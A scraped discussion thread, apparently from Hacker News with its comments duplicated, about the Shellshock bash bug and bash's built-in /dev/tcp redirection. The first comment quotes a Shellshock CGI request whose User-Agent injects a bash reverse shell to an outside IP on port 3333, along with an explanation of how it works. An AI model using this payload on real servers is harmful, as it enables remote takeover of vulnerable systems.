4 ms·

GET /cgi-bin/ HTTP/1.1 Host: <SERVER_IP> User-Agent: () { :;}; /bin/ -c ‘/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1′ "Many people are unaware that BASH actu

GET /cgi-bin/ HTTP/1.1 Host: <SERVER_IP> User-Agent: () { :;}; /bin/ -c ‘/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1′ "Many people are unaware that BASH actually has built-in commands for sending and receiving network traffic. They work similarly to netcat, but without requiring any other malware or supporting tools to be present on the system. The example above shows how to create an extremely useful reverse shell, just using BASH itself. Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker’s IP on port 3333. Because this second shell is called with the ‘-i’ option (for “interactive” mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system." Maybe I'm seeing this wrong, but isn't the /dev filesystem provided by the kernel?

dspillett 12y ago
> isn't the /dev filesystem provided by the kernel? It is, but for /dev/tcp bash isn't really using it - that gets translated instead to internal socket handling code (i.e. nothing gets created/accessed in the real /dev) much like when you use "echo" - bash uses its built-in by default instead of forking to the external command of that name.
znep 12y ago
While you are right that /dev is typically a filesystem provided by the kernel (these days, previously it was a normal "static" filesystem), bash specifically handles various filenames under /dev when used in redirection, including /dev/tcp and /dev/udp. See http://www.gnu.org/software/bash/manual/bashref.html#Redirections http://www.gnu.org/software/bash/manual/bashref.html#Redirec...
- JetSpiegel 12y ago
  $ ll /dev/tcp ls: cannot access /dev/tcp: No such file or directory That explains it, thanks.
  - verbatim 12y ago
    Try $ ls > /dev/tcp/127.0.0.1/12345

dspillett 12y ago

> isn't the /dev filesystem provided by the kernel? It is, but for /dev/tcp bash isn't really using it - that gets translated instead to internal socket handling code (i.e. nothing gets created/accessed in the real /dev) much like when you use "echo" - bash uses its built-in by default instead of forking to the external command of that name.

znep 12y ago

While you are right that /dev is typically a filesystem provided by the kernel (these days, previously it was a normal "static" filesystem), bash specifically handles various filenames under /dev when used in redirection, including /dev/tcp and /dev/udp. See http://www.gnu.org/software/bash/manual/bashref.html#Redirections http://www.gnu.org/software/bash/manual/bashref.html#Redirec...

JetSpiegel 12y ago
$ ll /dev/tcp ls: cannot access /dev/tcp: No such file or directory That explains it, thanks.
- verbatim 12y ago
  Try $ ls > /dev/tcp/127.0.0.1/12345